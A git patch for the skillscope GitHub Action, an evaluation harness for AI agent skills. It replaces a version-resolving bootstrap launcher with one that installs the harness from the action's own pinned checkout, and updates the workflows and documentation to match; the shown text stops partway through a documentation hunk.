From 7a11c2c2477ccf6d0732fab5d3302cc94393005c Mon Sep 17 00:00:00 2001 From: Daniel Holanda Date: Tue, 8 Sep 2026 11:40:24 -0700 Subject: [PATCH] Tie harness version and workflow to one release --- .github/workflows/reusable.yml | 27 +++-- .github/workflows/selftest.yml | 37 ++++-- .github/workflows/skill-evals.yml | 32 ++--- README.md | 5 +- action.yml | 68 +++++------ action/launch.py | 182 ++++++++++++++++++++++++++++ bootstrap/launch.py | 166 ------------------------- bootstrap/resolve_version.py | 149 ----------------------- docs/authoring-evals.md | 20 --- docs/usage.md | 50 +++++--- examples/amd-skills-checks.yml | 2 +- pyproject.toml | 2 +- skillscope/__init__.py | 6 +- skillscope/cli.py | 12 +- skillscope/config.py | 20 +-- skillscope/datasets.py | 69 +---------- skillscope/schema/evals.schema.json | 5 - skillscope/select.py | 22 +--- tests/test_skillscope.py | 178 +++++++++------------------ tools/verify_selection_parity.py | 74 +++++------ 20 files changed, 407 insertions(+), 719 deletions(-) create mode 100644 action/launch.py delete mode 100644 bootstrap/launch.py delete mode 100644 bootstrap/resolve_version.py diff --git a/.github/workflows/reusable.yml b/.github/workflows/reusable.yml index 87fa7b4..37d66c1 100644 --- a/.github/workflows/reusable.yml +++ b/.github/workflows/reusable.yml @@ -8,7 +8,7 @@ name: reusable # # jobs: # evals: -# uses: amd/skillscope/.github/workflows/reusable.yml@main +# uses: amd/skillscope/.github/workflows/reusable.yml@v0.1.1 # secrets: # api_key: ${{ secrets.ANTHROPIC_API_KEY }} # with: @@ -17,6 +17,14 @@ name: reusable # That is a whole caller. Everything else has a default, and the defaults are # the strict answer: every step runs, and every step can fail the run. # +# The ref you pin is the harness you get. Every step below references +# `amd/skillscope@v0.1.1`, the release this file ships in, and the action +# installs the harness out of that checkout rather than resolving a version +# from anywhere else -- so `reusable.yml@v0.1.1` grades your skills with +# skillscope v0.1.1, and there is no second setting that can quietly say +# otherwise. The workflow and the harness move as one release; `version` is the +# only way to break the pair, for a caller trying a build before it ships. +# # discover --> structural --> routing (one runner per skill) # --> behavioral (one runner per skill) # --> results @@ -101,8 +109,9 @@ on: default: "1" version: description: >- - Harness version to run, overriding the pin in each skill's evals.json. - Blank runs those pins, and this workflow's own ref where there is none. + A harness build to run instead of the one this workflow's release + ships with: a tag, a branch, or a commit. Blank is the answer that + cannot drift from the ref you pinned this workflow at. type: string default: "" api_key_secret: @@ -166,7 +175,7 @@ jobs: # everything else that runs against it. - name: List the skills id: found - uses: amd/skillscope@main + uses: amd/skillscope@v0.1.1 with: command: list-skills skills: ${{ steps.globs.outputs.globs }} @@ -241,7 +250,7 @@ jobs: uses: actions/checkout@v4 - name: Check every skill's structure - uses: amd/skillscope@main + uses: amd/skillscope@v0.1.1 with: command: structural skills: ${{ needs.discover.outputs.globs }} @@ -290,7 +299,7 @@ jobs: fi - name: Run the routing eval for ${{ matrix.skill }} - uses: amd/skillscope@main + uses: amd/skillscope@v0.1.1 with: command: routing # One skill in the room, named, so the score is about this skill alone @@ -303,7 +312,6 @@ jobs: --output routing-report.json --keep-logs routing-logs skills: ${{ needs.discover.outputs.globs }} - skill: ${{ matrix.skill }} version: ${{ inputs.version }} install-claude: "true" @@ -356,16 +364,13 @@ jobs: fi - name: Run the behavioral cases for ${{ matrix.skill }} - uses: amd/skillscope@main + uses: amd/skillscope@v0.1.1 with: command: behavioral args: >- --skill '${{ matrix.skill }}' --output behavioral-report.json skills: ${{ needs.discover.outputs.globs }} - # This skill's own evals.json may pin the harness version its cases - # were written for, and this is the leg that runs them. - skill: ${{ matrix.skill }} version: ${{ inputs.version }} install-claude: "true" diff --git a/.github/workflows/selftest.yml b/.github/workflows/selftest.yml index 8b30b7c..2087c5d 100644 --- a/.github/workflows/selftest.yml +++ b/.github/workflows/selftest.yml @@ -11,8 +11,7 @@ name: selftest # and runs on every platform a behavioral leg can be scheduled on, because that # is where the path handling breaks. The smoke test drives the real launcher # against a throwaway repo built in the job, which is the only way to find out -# that action.yml, the version resolver, and the CLI still agree on their -# interface. +# that action.yml, the launcher, and the CLI still agree on their interface. on: push: @@ -92,11 +91,13 @@ jobs: } EOF - # `source: .` installs this checkout rather than a published ref, so a - # pull request tests the launcher and the payload it is about to change. - # No `version`: the fixture pins nothing, which exercises the bottom rung - # of the resolution ladder. + # `uses: ./` makes this checkout the action, and the action installs the + # harness from the checkout it is running out of -- so a pull request + # tests the launcher against the payload it is about to change, which is + # the same path a caller takes at a tag. No `version`, which is the input + # that would reach the network for someone else's build instead. - name: Check the fixture structurally + id: structural uses: ./ with: command: structural @@ -104,7 +105,25 @@ jobs: # asks for them the way a repo with a governance card would. args: --skill-files skill-card.md --skill-sections Description,Owner,License repo: fixture - source: . + + # The version story, end to end: nothing above named a version, so the + # harness that just ran has to be the one in this checkout. A launcher + # that fetched a build from anywhere else would report a git ref here + # instead, which is the failure a caller pinning a tag cannot see for + # themselves. + - name: Check it ran the harness from this checkout + shell: python + env: + REPORTED: ${{ steps.structural.outputs.version }} + run: | + import os + import re + + pyproject = open("pyproject.toml", encoding="utf-8").read() + declared = re.search(r'(?m)^version\s*=\s*"([^"]+)"', pyproject).group(1) + reported = os.environ["REPORTED"] + assert reported == declared, f"ran {reported!r}, but this checkout is {declared!r}" + print(f"skillscope {reported}, from this checkout.") # This repo has no skills, so what is left is its own prose -- which is # exactly the half a harness for checking references should not be @@ -116,7 +135,6 @@ jobs: with: command: structural args: --docs '*.md,docs/**/*.md' - source: . - name: Select runs for a change id: select @@ -125,7 +143,6 @@ jobs: command: select args: --all --routing-room demo-skill repo: fixture - source: . - name: Select runs without naming the routing set id: inferred @@ -134,7 +151,6 @@ jobs: command: select args: --all repo: fixture - source: . - name: Select runs with routing turned off id: unrouted @@ -143,7 +159,6 @@ jobs: command: select args: --all --routing-room none repo: fixture - source: . - name: Check the plan shell: python diff --git a/.github/workflows/skill-evals.yml b/.github/workflows/skill-evals.yml index 7b01c71..2cc610d 100644 --- a/.github/workflows/skill-evals.yml +++ b/.github/workflows/skill-evals.yml @@ -16,7 +16,7 @@ name: skill-evals # # jobs: # skill-evals: -# uses: amd/skillscope/.github/workflows/skill-evals.yml@bootstrap +# uses: amd/skillscope/.github/workflows/skill-evals.yml@v0.1.1 # secrets: inherit # with: # skill_globs: skills/* @@ -189,8 +189,9 @@ on: default: false version: description: >- - Harness version to run, overriding the pin in each skill's evals.json. - Blank runs the ref the caller referenced this workflow at. + A harness build to run instead of the one this workflow's release + ships with: a tag, a branch, or a commit. Blank is the answer that + cannot drift from the ref you pinned this workflow at. type: string default: "" coordinator_runner: @@ -268,7 +269,6 @@ jobs: scoped: ${{ steps.plan.outputs.scoped }} scoped_any: ${{ steps.plan.outputs.scoped_any }} skipped: ${{ steps.plan.outputs.skipped }} - version: ${{ steps.plan.outputs.version }} steps: - name: Check out repository uses: actions/checkout@v4 @@ -281,7 +281,7 @@ jobs: # should never start against a broken dataset. External URLs are left to # the job below; everything here is offline and deterministic. - name: Check every skill's structure - uses: amd/skillscope@bootstrap + uses: amd/skillscope@v0.1.1 with: command: structural args: >- @@ -370,7 +370,7 @@ jobs: - name: Select what to run id: select - uses: amd/skillscope@bootstrap + uses: amd/skillscope@v0.1.1 with: command: select args: ${{ steps.how.outputs.args }} @@ -405,7 +405,6 @@ jobs: # Emitted as the flag itself: every run job passes it through # verbatim rather than re-deriving the same boolean. "extended=" + ("--extended" if plan["extended"] else "--no-extended"), - "version=" + plan.get("version", ""), ] for key in ("default", "scoped", "skipped"): lines.append(key + "=" + json.dumps(plan[key])) @@ -431,7 +430,7 @@ jobs: uses: actions/checkout@v4 - name: Fetch every external reference - uses: amd/skillscope@bootstrap + uses: amd/skillscope@v0.1.1 with: command: structural args: >- @@ -497,7 +496,7 @@ jobs: print("Exported: " + ", ".join(exported)) - name: Run the routing eval - uses: amd/skillscope@bootstrap + uses: amd/skillscope@v0.1.1 with: command: routing # By default a wrong routing decision fails this job, the same way a @@ -517,7 +516,7 @@ jobs: --output routing-report.json --keep-logs routing-logs skills: ${{ inputs.skill_globs }} - version: ${{ inputs.version || needs.discover.outputs.version }} + version: ${{ inputs.version }} python-version: ${{ inputs.python_version }} setup-python: "false" install-claude: "true" @@ -590,14 +589,12 @@ jobs: print("Exported: " + ", ".join(exported)) - name: Run behavioral cases for ${{ matrix.skill }} - uses: amd/skillscope@bootstrap + uses: amd/skillscope@v0.1.1 with: command: behavioral args: --skill '${{ matrix.skill }}' ${{ needs.discover.outputs.extended }} - skill: ${{ matrix.skill }} skills: ${{ inputs.skill_globs }} - # The skill's own pin, resolved during selection. - version: ${{ inputs.version || matrix.version }} + version: ${{ inputs.version }} python-version: ${{ inputs.python_version }} setup-python: "false" install-claude: "true" @@ -665,13 +662,12 @@ jobs: print("Exported: " + ", ".join(exported)) - name: Run behavioral cases for ${{ matrix.skill }} - uses: amd/skillscope@bootstrap + uses: amd/skillscope@v0.1.1 with: command: behavioral args: --skill '${{ matrix.skill }}' ${{ needs.discover.outputs.extended }} - skill: ${{ matrix.skill }} skills: ${{ inputs.skill_globs }} - version: ${{ inputs.version || matrix.version }} + version: ${{ inputs.version }} python-version: ${{ inputs.python_version }} setup-python: "false" install-claude: "true" @@ -701,9 +697,7 @@ jobs: BEHAVIOR_WANTED: ${{ needs.discover.outputs.default_any }} SCOPED_WANTED: ${{ needs.discover.outputs.scoped_any }} SKIPPED: ${{ needs.discover.outputs.skipped }} - VERSION: ${{ needs.discover.outputs.version }} run: | - echo "harness: ${VERSION:-(the launcher's own ref)}" echo "discover: $DISCOVER" echo "routing: $ROUTING (requested: $ROUTING_WANTED)" echo "behavioral: $BEHAVIOR (requested: $BEHAVIOR_WANTED)" diff --git a/README.md b/README.md index 2dae1ef..6a277ea 100644 --- a/README.md +++ b/README.md @@ -48,13 +48,16 @@ Simply add an `evals.json` file to your skill and a workflow that points to our ```yaml jobs: evals: - uses: amd/skillscope/.github/workflows/reusable.yml@v0.1.0 + uses: amd/skillscope/.github/workflows/reusable.yml@v0.1.1 secrets: api_key: ${{ secrets.ANTHROPIC_API_KEY }} with: skills: skills/* ``` +The ref is the version: `@v0.1.1` grades your skills with skillscope v0.1.1, and +keeps doing so until you change that one line. + You may also choose to customize or even disable some tests if you prefer it. See [docs/usage.md](docs/usage.md) for details. ## Commands diff --git a/action.yml b/action.yml index 4c4ec91..97c04b2 100644 --- a/action.yml +++ b/action.yml @@ -3,24 +3,26 @@ # SPDX-License-Identifier: MIT name: skillscope -description: >- - Run one skillscope command against the calling repository, at the harness - version that repository pins. +description: Run one skillscope command against the calling repository. -# The launcher, and nothing else. +# One skillscope command, at the version you referenced this action at. # -# Reference it as `amd/skillscope@bootstrap` and leave it there: `bootstrap` is -# a contract, not a release. All it does is set up Python and uv, work out -# which build of the harness should grade this repo (an input, then -# $SKILLSCOPE_VERSION, then the skill's evals.json, then its own ref), and exec -# that build. Nothing here imports skillscope, so the launcher cannot break on -# a payload version it predates -- which is what makes pinning it forever safe. +# - uses: amd/skillscope@v0.1.1 +# with: +# command: structural # -# Everything about the repo being tested is passed in: `version` and `skills` +# The ref is the version. Actions downloads this repository at `v0.1.1` to run +# the action, and that checkout is the harness, so the step installs it from +# there rather than fetching a build named somewhere else. There is no second +# place holding a version that could disagree with the ref, and nothing to keep +# in step at release time. +# +# `version` is the one way to run a different build than the ref pins -- a +# caller trying next month's harness against today's workflow -- and the only +# case that reaches the network. +# +# Everything about the repo being tested is passed in: `skills` and `repo` # here, and the rest through `args`, composed by the workflow that calls this. -# A skill may pin its own harness build with `skillscope_version` in its -# evals.json, which is a one-line reviewable diff next to the prompts it -# affects. inputs: command: @@ -32,34 +34,21 @@ inputs: default: "" version: description: >- - Harness version to run. Wins over every other source. Leave empty to use - the skill's own pin, else this action's ref. - required: false - default: "" - skill: - description: >- - The skill being graded, so its evals.json `skillscope_version` is honored. - `skillscope select` emits this per matrix leg. + A harness build to fetch instead of the one this action's ref points at: + a tag, a branch, or a commit. Blank is the usual answer, and the one that + cannot drift from the ref you pinned. required: false default: "" skills: description: >- - Globs naming the directories that are skills, comma-separated. The - launcher needs these to find a skill's version pin before it has fetched - anything, and passes them on to the harness. Default: ./*, every - directory at the repo root. + Globs naming the directories that are skills, comma-separated, relative + to the repository root. Default: ./*, every directory at the root. required: false default: "" repo: description: "Root of the repo to test. Default: the workspace." required: false default: "." - source: - description: >- - Where to install the harness from: owner/repo, or a local path holding a - pyproject.toml. Defaults to this action's own repository. - required: false - default: "" stdin: description: "A file to feed the command on stdin (`select --changed` reads one)." required: false @@ -85,7 +74,7 @@ inputs: outputs: version: - description: "The harness version that ran." + description: "The harness build that ran." value: ${{ steps.skillscope.outputs.version }} stdout: description: >- @@ -126,19 +115,18 @@ runs: SKILLSCOPE_ARGS: ${{ inputs.args }} SKILLSCOPE_REPO: ${{ inputs.repo }} SKILLSCOPE_SKILLS: ${{ inputs.skills }} - SKILLSCOPE_SOURCE: ${{ inputs.source || github.action_repository }} - SKILLSCOPE_REQUESTED: ${{ inputs.version }} - SKILLSCOPE_SKILL: ${{ inputs.skill }} - # Last resort: a repo that pins nothing runs whatever this launcher's - # own ref points at, so it works with no configuration at all. - SKILLSCOPE_DEFAULT: ${{ github.action_ref || 'main' }} SKILLSCOPE_STDIN: ${{ inputs.stdin }} + SKILLSCOPE_VERSION: ${{ inputs.version }} + # Only read when `version` asks for a build from git. Falls back to the + # repository running the workflow, which is what `uses: ./` means. + SKILLSCOPE_REPOSITORY: ${{ github.action_repository || github.repository }} + # The harness itself: this repository, at the ref the caller pinned. SKILLSCOPE_ACTION_PATH: ${{ github.action_path }} run: | import os import runpy import sys - launcher = os.path.join(os.environ["SKILLSCOPE_ACTION_PATH"], "bootstrap", "launch.py") + launcher = os.path.join(os.environ["SKILLSCOPE_ACTION_PATH"], "action", "launch.py") sys.argv = [launcher] runpy.run_path(launcher, run_name="__main__") diff --git a/action/launch.py b/action/launch.py new file mode 100644 index 0000000..f2d8894 --- /dev/null +++ b/action/launch.py @@ -0,0 +1,182 @@ +# Copyright Advanced Micro Devices, Inc. +# +# SPDX-License-Identifier: MIT + +"""Run one skillscope command against the repository being tested. + +The body of ``action.yml``, and there is no version to work out: the checkout +the action already has *is* the harness. `uses: amd/skillscope@v0.1.1` makes +Actions download this repository at ``v0.1.1`` into ``$GITHUB_ACTION_PATH``, +and this script installs the harness from there:: + + uvx --from $GITHUB_ACTION_PATH skillscope + +So the ref a caller pins is the build that grades their skills, by construction +rather than by convention -- there is no second place holding a version that +could disagree with the ref, and nothing to keep in step at release time. + +`version` is how to ask for a different build than the one pinned, and it is +the only case that reaches the network: the harness is then fetched as +``git+https://github.com//@``. + +Written in Python rather than shell because the same step runs on Linux, +Windows, and macOS runners, self-hosted and not. Standard library only, and it +imports nothing from skillscope, which has to keep working before the harness +is installed. + +Configuration arrives as environment variables, set from the action's inputs: + + SKILLSCOPE_COMMAND the subcommand, e.g. "structural" + SKILLSCOPE_ARGS further arguments, shell-quoted + SKILLSCOPE_REPO root of the repo under test (default ".") + SKILLSCOPE_SKILLS globs naming the directories that are skills + SKILLSCOPE_STDIN a file to feed the command on stdin + SKILLSCOPE_VERSION a harness ref to fetch instead of using the checkout + SKILLSCOPE_REPOSITORY the owner/repo to fetch that ref from + SKILLSCOPE_ACTION_PATH this action's checkout, which is the harness + +Everything else a run needs is passed straight through in SKILLSCOPE_ARGS, +unread: the launcher knows nothing about the payload's flags. +""" + +from __future__ import annotations + +import os +import re +import shlex +import subprocess +import sys +from pathlib import Path + +# `version` is interpolated into `uvx --from git+https://...@`, so it has +# to be a plausible git ref and nothing more. Anything with a shell +# metacharacter in it is refused rather than escaped: there is no legitimate +# ref that needs one. +REF_PATTERN = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._/+-]*$") + +# Read out of the checkout rather than imported, because the launcher runs +# before anything is installed. Only for the log line and the step summary, so +# a build whose version is somewhere unexpected loses a label, not a run. +VERSION_PATTERN = re.compile(r"""^__version__\s*=\s*['"]([^'"]+)['"]""", re.MULTILINE) + + +def _env(name: str, default: str = "") -> str: + return os.environ.get(name, default).strip() + + +def _emit(name: str, value: str) -> None: + path = _env("GITHUB_OUTPUT") + if path: + with open(path, "a", encoding="utf-8") as handle: + handle.write(f"{name}={value}\n") + + +def _summarize(text: str) -> None: + path = _env("GITHUB_STEP_SUMMARY") + if path: + with open(path, "a", encoding="utf-8") as handle: + handle.write(text + "\n") + + +def packaged_version(checkout: Path) -> str: + """The version declared by the harness in `checkout`, or "" if unreadable.""" + try: + text = (checkout / "skillscope" / "__init__.py").read_text(encoding="utf-8") + except OSError: + return "" + found = VERSION_PATTERN.search(text) + return found.group(1) if found else "" + + +def install_source() -> tuple[str, str]: + """What to hand ``uvx --from``, and the build that is, for the report.""" + version = _env("SKILLSCOPE_VERSION") + if not version: + checkout = Path(_env("SKILLSCOPE_ACTION_PATH") or ".").resolve() + if not (checkout / "pyproject.toml").is_file(): + raise SystemExit( + f"error: {checkout} holds no pyproject.toml, so it is not a " + "skillscope to install. This is the action's own checkout, so " + "either the action is being run from somewhere unexpected or " + "`version` should name the build to fetch instead." + ) + return str(checkout), packaged_version(checkout) or "this action's checkout" + + if not REF_PATTERN.match(version): + raise SystemExit( + f"error: `version` is {version!r}, which is not a usable git ref. " + "It is fetched as one, so it has to be a tag, a branch, or a commit." + ) + repository = _env("SKILLSCOPE_REPOSITORY") + if not repository: + raise SystemExit( + f"error: `version` asks for skillscope {version}, but there is no " + "repository to fetch it from. Leave `version` empty to run the " + "build this action's own ref points at." + ) + return f"git+https://github.com/{repository}@{version}", f"{repository}@{version}" + + +def main() -> int: + repo = Path(_env("SKILLSCOPE_REPO", ".") or ".").expanduser().resolve() + command = _env("SKILLSCOPE_COMMAND") + if not command: + raise SystemExit("error: no skillscope command given.") + + source, version = install_source() + cmd = [ + "uvx", + "--from", + source, + "skillscope", + *shlex.split(command), + *shlex.split(_env("SKILLSCOPE_ARGS")), + ] + print(f"[skillscope] {version}: {' '.join(cmd)}", flush=True) + + stdin_path = _env("SKILLSCOPE_STDIN") + stdin = open(stdin_path, "rb") if stdin_path else subprocess.DEVNULL + # `SKILLSCOPE_REPO` because the input may be relative -- `repo: fixture` -- + # and the child runs from the repo it names, where resolving that same + # relative path again lands a directory deeper. + child_env = {**os.environ, "SKILLSCOPE_REPO": str(repo)} + try: + proc = subprocess.Popen( + cmd, + cwd=str(repo), + env=child_env, + stdin=stdin, + stdout=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + bufsize=1, + ) + captured: list[str] = [] + assert proc.stdout is not None + for line in proc.stdout: + sys.stdout.write(line) + sys.stdout.flush() + if line.strip(): + captured.append(line.rstrip("\n")) + code = proc.wait() + except FileNotFoundError as exc: + raise SystemExit( + f"error: {exc.filename} is not on PATH. The action installs uv " + "before this step; if you are running it by hand, install uv first." + ) from exc + finally: + if stdin is not subprocess.DEVNULL: + stdin.close() + + _emit("version", version) + # Commands that answer with data (`select`) print one line of JSON, so the + # last line of output is that answer. A command that prints a report leaves + # a harmless last line here and is read from the step summary instead. + _emit("stdout", captured[-1] if captured else "") + _summarize(f"skillscope {command} ran at {version}.") + return code + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/bootstrap/launch.py b/bootstrap/launch.py deleted file mode 100644 index 61d0023..0000000 --- a/bootstrap/launch.py +++ /dev/null @@ -1,166 +0,0 @@ -# Copyright Advanced Micro Devices, Inc. -# -# SPDX-License-Identifier: MIT - -"""Fetch the pinned build of skillscope and run one command with it. - -The body of the `amd/skillscope@bootstrap` composite action. It resolves the -version (see ``resolve_version``), runs - - uvx --from git+https://github.com/@ skillscope - -in the repo being tested, and reports back to Actions: the resolved version and -the command's last line of stdout as step outputs, and a one-line note in the -step summary saying which build did the grading. - -Everything here is standard library and none of it imports skillscope, which is -what lets callers pin `@bootstrap` once and never touch it again: the launcher -cannot break on a payload version it has never seen. It is written in Python -rather than shell because the same step runs on Linux, Windows, and macOS -runners, self-hosted and not. - -Configuration arrives as environment variables, set from the action's inputs: - - SKILLSCOPE_COMMAND the subcommand, e.g. "structural" - SKILLSCOPE_ARGS further arguments, shell-quoted - SKILLSCOPE_REPO root of the repo under test (default ".") - SKILLSCOPE_SKILLS globs naming the directories that are skills - SKILLSCOPE_SOURCE owner/repo (or a local path) to install from - SKILLSCOPE_REQUESTED an explicit version, which wins outright - SKILLSCOPE_VERSION a version from the environment - SKILLSCOPE_SKILL the skill being run, whose dataset may pin a version - SKILLSCOPE_DEFAULT fallback version: the launcher's own ref - SKILLSCOPE_STDIN a file to feed the command on stdin - -Everything else a run needs is passed straight through in SKILLSCOPE_ARGS, -unread. The launcher stays ignorant of the payload's flags so that pinning -`@bootstrap` really is forever; the two variables it does understand are the -two it needs before the harness exists -- where the repo is, and where in it -to look for a version pin. -""" - -from __future__ import annotations - -import os -import shlex -import subprocess -import sys -from pathlib import Path - -sys.path.insert(0, str(Path(__file__).resolve().parent)) - -from resolve_version import resolve # noqa: E402 - -DEFAULT_SOURCE = "amd/skillscope" - - -def _env(name: str, default: str = "") -> str: - return os.environ.get(name, default).strip() - - -def _emit(name: str, value: str) -> None: - path = _env("GITHUB_OUTPUT") - if path: - with open(path, "a", encoding="utf-8") as handle: - handle.write(f"{name}={value}\n") - - -def _summarize(text: str) -> None: - path = _env("GITHUB_STEP_SUMMARY") - if path: - with open(path, "a", encoding="utf-8") as handle: - handle.write(text + "\n") - - -def source_argument(source: str, version: str) -> str: - """What to hand ``uvx --from``. - - A local path is supported so this repo can dogfood the launcher against its - own checkout; anything else is a GitHub repo at the resolved ref. - """ - candidate = Path(source) - if candidate.exists() and (candidate / "pyproject.toml").is_file(): - return str(candidate.resolve()) - return f"git+https://github.com/{source}@{version}" - - -def main() -> int: - repo = Path(_env("SKILLSCOPE_REPO", ".") or ".").expanduser().resolve() - command = _env("SKILLSCOPE_COMMAND") - if not command: - raise SystemExit("error: no skillscope command given.") - - globs = [g.strip() for g in _env("SKILLSCOPE_SKILLS").split(",") if g.strip()] - version = resolve( - root=repo, - requested=_env("SKILLSCOPE_REQUESTED"), - env=_env("SKILLSCOPE_VERSION"), - skill=_env("SKILLSCOPE_SKILL"), - default=_env("SKILLSCOPE_DEFAULT"), - globs=globs or None, - ) - source = _env("SKILLSCOPE_SOURCE") or DEFAULT_SOURCE - - cmd = [ - "uvx", - "--from", - source_argument(source, version), - "skillscope", - *shlex.split(command), - *shlex.split(_env("SKILLSCOPE_ARGS")), - ] - print(f"[skillscope] {source}@{version}: {' '.join(cmd)}", flush=True) - - stdin_path = _env("SKILLSCOPE_STDIN") - stdin = open(stdin_path, "rb") if stdin_path else subprocess.DEVNULL - # `SKILLSCOPE_VERSION` because the harness echoes it into a CI plan, so - # every leg the plan schedules launches the build that planned it rather - # than re-resolving from scratch. `SKILLSCOPE_REPO` because the input may - # be relative -- `repo: fixture` -- and the child runs from the repo it - # names, where resolving that same relative path again lands a directory - # deeper. - child_env = { - **os.environ, - "SKILLSCOPE_VERSION": version, - "SKILLSCOPE_REPO": str(repo), - } - try: - proc = subprocess.Popen( - cmd, - cwd=str(repo), - env=child_env, - stdin=stdin, - stdout=subprocess.PIPE, - text=True, - encoding="utf-8", - errors="replace", - bufsize=1, - ) - captured: list[str] = [] - assert proc.stdout is not None - for line in proc.stdout: - sys.stdout.write(line) - sys.stdout.flush() - if line.strip(): - captured.append(line.rstrip("\n")) - code = proc.wait() - except FileNotFoundError as exc: - raise SystemExit( - f"error: {exc.filename} is not on PATH. The action installs uv " - "before this step; if you are running it by hand, install uv first." - ) from exc - finally: - if stdin is not subprocess.DEVNULL: - stdin.close() - - _emit("version", version) - # Commands that answer with data (`select`) print one line of JSON, so the - # last line of output is that answer. A command that prints a report leaves - # a harmless last line here and is read from the step summary instead. - _emit("stdout", captured[-1] if captured else "") - _summarize(f"skillscope {command} ran at {version}.") - return code - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/bootstrap/resolve_version.py b/bootstrap/resolve_version.py deleted file mode 100644 index 48310fb..0000000 --- a/bootstrap/resolve_version.py +++ /dev/null @@ -1,149 +0,0 @@ -# Copyright Advanced Micro Devices, Inc. -# -# SPDX-License-Identifier: MIT - -"""Work out which build of skillscope to run, before running any of it. - -This is the whole of the `amd/skillscope@bootstrap` launcher's logic. Callers -reference `@bootstrap` forever; the version that actually grades their skills -is data, bumped in a reviewable one-line diff: - - 1. an explicit `version` input, or `--version` - 2. `$SKILLSCOPE_VERSION` - 3. `skillscope_version` in the dataset of the skill being run - 4. the launcher's own ref, so a repo that pins nothing still runs - -A skill's own dataset is the only pin a *repo* holds, because the harness -version belongs next to the prompts it grades. Everything above it comes from -the workflow, which is where the rest of the configuration lives too. - -Deliberately dependency-free and deliberately ignorant of the harness: it -reads one JSON key and prints a string. Importing the package it is about to -fetch would make the launcher's behavior depend on the version being launched, -which is exactly the coupling `@bootstrap` exists to avoid. - -Usage:: - - python bootstrap/resolve_version.py --repo . --skill local-ai-use -""" - -from __future__ import annotations - -import argparse -import json -import os -import re -import sys -from pathlib import Path - -# Kept in step with skillscope.config by hand: this script is deliberately -# ignorant of the package it is about to fetch, so it cannot import the value. -DEFAULT_SKILL_GLOBS = ["./*"] -DATASET_RELPATH = "evals/evals.json" -VERSION_KEY = "skillscope_version" - -# The result is interpolated into `uvx --from git+https://...@`, so it has -# to be a plausible git ref and nothing more. Anything with a shell -# metacharacter in it is refused rather than escaped: there is no legitimate -# ref that needs one. -REF_PATTERN = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._/+-]*$") - - -def _read_json(path: Path) -> dict: - """Parse `path`, treating anything unreadable as absent. - - A malformed dataset is not this script's problem to report: the harness's - structural checks say where and why. Failing here would replace that with - a stack trace from the launcher. - """ - try: - data = json.loads(path.read_text(encoding="utf-8")) - except (OSError, json.JSONDecodeError): - return {} - return data if isinstance(data, dict) else {} - - -def dataset_pin(root: Path, skill: str, globs: list[str]) -> str: - """The `skillscope_version` in `skill`'s dataset, or "" if it has none.""" - for pattern in globs: - for path in sorted(root.glob(pattern)): - if path.name != skill or not path.is_dir(): - continue - value = _read_json(path / DATASET_RELPATH).get(VERSION_KEY, "") - if isinstance(value, str) and value.strip(): - return value.strip() - return "" - - -def resolve( - *, - root: Path, - requested: str = "", - env: str = "", - skill: str = "", - default: str = "", - globs: list[str] | None = None, -) -> str: - """The ref to fetch the harness from. See the module docstring for the order.""" - candidates = [ - requested, - env, - dataset_pin(root, skill, globs or DEFAULT_SKILL_GLOBS) if skill else "", - default, - ] - version = next((c.strip() for c in candidates if c and c.strip()), "") - if not version: - raise SystemExit( - "error: no skillscope version to run and no default given. Pass " - "`version` to the action, or pin one in the skill's dataset." - ) - if not REF_PATTERN.match(version): - raise SystemExit( - f"error: {version!r} is not a usable git ref. The version is fetched " - "as a git ref, so it must be a tag, a branch, or a commit." - ) - return version - - -def main(argv: list[str] | None = None) -> int: - parser = argparse.ArgumentParser(description=__doc__) - parser.add_argument("--repo", default=".", help="Root of the repo being tested.") - parser.add_argument("--version", default="", help="Explicit version; wins outright.") - parser.add_argument( - "--skill", default="", help="The skill being run, whose dataset may pin a version." - ) - parser.add_argument( - "--default", default="", help="Fallback when nothing else pins a version." - ) - parser.add_argument( - "--skills-dir", - default="", - help=( - "Comma-separated globs naming the directories that are skills, so " - "a repo that keeps them somewhere other than its root is still " - f"searched for the pin. Default: {','.join(DEFAULT_SKILL_GLOBS)}." - ), - ) - args = parser.parse_args(argv) - - globs = [g.strip() for g in args.skills_dir.split(",") if g.strip()] - version = resolve( - root=Path(args.repo).expanduser().resolve(), - requested=args.version, - env=os.environ.get("SKILLSCOPE_VERSION", ""), - skill=args.skill, - default=args.default, - globs=globs or None, - ) - print(version) - - # So the composite action can pass it to the next step. - output = os.environ.get("GITHUB_OUTPUT", "") - if output: - with open(output, "a", encoding="utf-8") as handle: - handle.write(f"version={version}\n") - return 0 - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/docs/authoring-evals.md b/docs/authoring-evals.md index 92ef3f6..a5c4743 100644 --- a/docs/authoring-evals.md +++ b/docs/authoring-evals.md @@ -123,26 +123,6 @@ decision: `--extended` (the default) includes it, `--no-extended` grades This is where a product repo keeps the prompts it wants graded in its own CI without every consumer of its skills paying for them. -## Pinning the harness - -A dataset may name the build of skillscope that grades it: - -```json -{ - "skillscope_version": "v1.2.0", - "evaluations": ["..."] -} -``` - -Anything git can resolve — a tag, a branch, a commit. It governs **this skill's -behavioral run**, and it exists so the version that runs your prompts is bumped -in the same file, and the same review, as the prompts themselves. - -It does not govern routing. Leave the key out and your behavioral run uses the -workflow's `version` too, which is the right answer for most skills. The two -places a version can live are in -[usage.md](usage.md#versions-and-pinning). - ## When JSON is not enough Two optional files sit beside the dataset. diff --git a/docs/usage.md b/docs/usage.md index f09592d..045acb5 100644 --- a/docs/usage.md +++ b/docs/usage.md @@ -216,7 +216,7 @@ one runner per skill: ```yaml jobs: evals: - uses: amd/skillscope/.github/workflows/reusable.yml@main + uses: amd/skillscope/.github/workflows/reusable.yml@v0.1.1 secrets: api_key: ${{ secrets.ANTHROPIC_API_KEY }} with: @@ -252,7 +252,7 @@ Naming several, and holding them to different bars: | `behavioral` | `required` | `required`, `optional`, or `off`. | | `runner` | `ubuntu-latest` | `runs-on` for every job: one label, or a JSON array of them. | | `min_accuracy` | `1` | The routing bar. `0` reports the score without gating on it. | -| `version` | the skills' own pins | The build of the harness that grades this repo. | +| `version` | the ref you pinned | A different harness build to run. See [Versions and pinning](#versions-and-pinning). | | `api_key` | (none) | The model API key, mapped from the caller's vault. One secret, not the whole set. | | `api_key_secret` | `ANTHROPIC_API_KEY` | Name to look up under `secrets: inherit`, if you would rather pass the vault than map one key. | @@ -281,7 